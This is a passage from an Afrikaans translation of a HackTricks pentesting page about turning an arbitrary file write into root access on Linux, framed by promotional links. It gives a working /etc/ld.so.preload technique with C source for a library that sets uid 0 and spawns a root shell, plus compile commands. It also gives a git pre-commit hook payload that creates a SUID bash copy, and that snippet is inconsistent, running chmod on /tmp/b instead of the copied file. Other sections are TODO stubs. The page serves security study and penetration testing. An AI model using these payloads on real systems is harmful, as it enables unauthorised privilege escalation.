# Willekeurige LĂȘer Skryf na Root
Leer AWS hak vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** đŹ [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
### /etc/ld.so.preload
Hierdie lĂȘer gedra soos die **`LD_PRELOAD`** omgewingsveranderlike, maar dit werk ook in **SUID-binĂȘre lĂȘers**.\
As jy dit kan skep of wysig, kan jy net 'n **pad na 'n biblioteek wat gelaai sal word** by elke uitgevoerde binĂȘre lĂȘer, byvoeg.
Byvoorbeeld: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c
#include
#include
#include
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
### Git hakke
[**Git hakke**](https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks) is **skripte** wat uitgevoer word by verskeie **gebeure** in 'n git-opgaarplek soos wanneer 'n toewysing geskep word, 'n samevoeging... Dus, as 'n **bevoorregte skrip of gebruiker** gereeld hierdie aksies uitvoer en dit moontlik is om in die `.git`-vouer te **skryf**, kan dit gebruik word vir **privilege-escalation**.
Byvoorbeeld, dit is moontlik om 'n skrip te **genereer** in 'n git-opgaarplek in **`.git/hooks`** sodat dit altyd uitgevoer word wanneer 'n nuwe toewysing geskep word:
{% code overflow="wrap" %}
```bash
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
```
### Cron & Tyd lĂȘers
TODO
### Diens & Soket lĂȘers
TODO
### binfmt\_misc
Die lĂȘer wat in `/proc/sys/fs/binfmt_misc` geleĂ« is, dui aan watter binĂȘre lĂȘer watter tipe lĂȘers moet uitvoer. TODO: kontroleer die vereistes om hierdie te misbruik om 'n omgekeerde dop uit te voer wanneer 'n algemene lĂȘertipe oop is.
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** đŹ [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** đŠ [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.